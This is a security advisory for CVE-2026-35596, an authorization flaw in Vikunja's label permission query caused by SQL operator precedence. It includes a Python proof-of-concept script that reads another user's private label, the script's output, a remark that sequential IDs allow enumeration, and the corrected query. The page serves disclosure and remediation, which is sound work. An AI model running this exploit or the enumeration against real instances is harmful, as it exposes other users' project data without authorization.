CVE-2026-35596

The hasAccessToLabel function contains a SQL operator precedence bug that allows any authenticated user to read any label that has at least one task association, regardless of project access. Label titles, descriptions, colors, and creator information are exposed.

Details

The access control query at pkg/models/label_permissions.go:85-91 uses xorm's query chain in a way that produces SQL without proper grouping:

has, err = s.Table("labels").
    Select("label_tasks.*").
    Join("LEFT", "label_tasks", "label_tasks.label_id = labels.id").
    Where("label_tasks.label_id is not null OR labels.created_by_id = ?", createdByID).
    Or(cond).
    And("labels.id = ?", l.ID).
    Exist(ll)

The xorm chain .Where(A OR B).Or(C).And(D) generates SQL: WHERE A OR B OR C AND D. Because SQL AND has higher precedence than OR, this evaluates as WHERE A OR B OR (C AND D). The labels.id = ? constraint (D) only binds to the project access condition (C), while label_tasks.label_id IS NOT NULL (part of A) remains unconstrained.

Any label that has at least one task association passes the IS NOT NULL check, regardless of who is requesting it.

Proof of Concept

Tested on Vikunja v2.2.2.

import requests

TARGET = "http://localhost:3456"
API = f"{TARGET}/api/v1"

def login(u, p):
    return requests.post(f"{API}/login", json={"username": u, "password": p}).json()["token"]

def h(token):
    return {"Authorization": f"Bearer {token}", "Content-Type": "application/json"}

a_token = login("labeler", "Labeler123!")
b_token = login("snooper", "Snooper123!")

# labeler creates private project, label, task, and assigns label
proj = requests.put(f"{API}/projects", headers=h(a_token),
                    json={"title": "Private Project"}).json()
label = requests.put(f"{API}/labels", headers=h(a_token),
                     json={"title": "CONFIDENTIAL-REVENUE", "hex_color": "ff0000"}).json()
task = requests.put(f"{API}/projects/{proj['id']}/tasks", headers=h(a_token),
                    json={"title": "Q4 revenue data"}).json()
requests.put(f"{API}/tasks/{task['id']}/labels", headers=h(a_token),
             json={"label_id": label["id"]})

# snooper reads the label from labeler's private project
r = requests.get(f"{API}/labels/{label['id']}", headers=h(b_token))
print(f"GET /labels/{label['id']}: {r.status_code}")  # 200 - should be 403
if r.status_code == 200:
    data = r.json()
    print(f"Title: {data['title']}")  # CONFIDENTIAL-REVENUE
    print(f"Creator: {data['created_by']['username']}")  # labeler

Output:

GET /labels/1: 200
Title: CONFIDENTIAL-REVENUE
Creator: labeler

Label IDs are sequential integers, making enumeration straightforward.

Any authenticated user can read label metadata (titles, descriptions, colors) and creator user information from any project in the instance, provided the labels are attached to at least one task. This constitutes cross-project information disclosure. The creator's username and display name are also exposed.

The application does not correctly enforce access controls, allowing a principal to access resources or operations beyond their granted permissions. Typical impact: unauthorized data access or execution of privileged operations.

CVE-2026-35596 has a CVSS score of 4.3 (Medium). The vector is network-reachable, low privileges required, and no user interaction. A CVSS score reflects the worst-case severity of the vulnerability, not your specific exposure. Whether this affects your application depends on whether the vulnerable code is present and reachable in your environment. A fixed version is available (2.3.0); upgrading removes the vulnerable code path.

Kodem intelligence

Use explicit builder.And/builder.Or grouping:

has, err = s.Table("labels").
    Select("label_tasks.*").
    Join("LEFT", "label_tasks", "label_tasks.label_id = labels.id").
    Where(builder.And(
        builder.Eq{"labels.id": l.ID},
        builder.Or(
            builder.And(builder.Expr("label_tasks.label_id is not null"), cond),
            builder.Eq{"labels.created_by_id": createdByID},
        ),
    )).
    Exist(ll)

Found and reported by aisafe.io

1. What is CVE-2026-35596? CVE-2026-35596 is a medium-severity incorrect authorization vulnerability in code.vikunja.io/api (go), affecting versions <= 2.2.2. It is fixed in 2.3.0. The application does not correctly enforce access controls, allowing a principal to access resources or operations beyond their granted permissions.
2. How severe is CVE-2026-35596? CVE-2026-35596 has a CVSS score of 4.3 (Medium). This score reflects the worst-case severity of the vulnerability, not your specific exposure. Whether it represents real risk in your environment depends on whether the vulnerable code is present and reachable.
3. Which versions of code.vikunja.io/api are affected by CVE-2026-35596? code.vikunja.io/api (go) versions <= 2.2.2 is affected.
4. Is there a fix for CVE-2026-35596? Yes. CVE-2026-35596 is fixed in 2.3.0. Upgrade to this version or later.
5. Is CVE-2026-35596 exploitable, and should I be worried? Whether CVE-2026-35596 is exploitable in your environment depends on whether the vulnerable code is present and reachable. A CVSS score is a worst-case rating; it does not account for your specific deployment, configuration, or usage patterns. Kodem, an Intelligent Application Security platform, uses runtime intelligence to show which vulnerabilities actually execute in production, so you can focus on the ones that represent real risk. Get a demo
6. What actually determines whether CVE-2026-35596 is exploitable, and how bad it is? Exploitability and impact are not fixed properties of a CVE. They depend on runtime truth: whether the vulnerable code is present, reachable, and actually executes in your application. A high CVSS score on a dependency that never runs is not the same as real risk. Kodem, an Intelligent Application Security platform, uses runtime intelligence to reveal which vulnerabilities actually execute in production, so teams prioritize the ones that genuinely matter.
7. How do I fix CVE-2026-35596? Upgrade code.vikunja.io/api to 2.3.0 or later.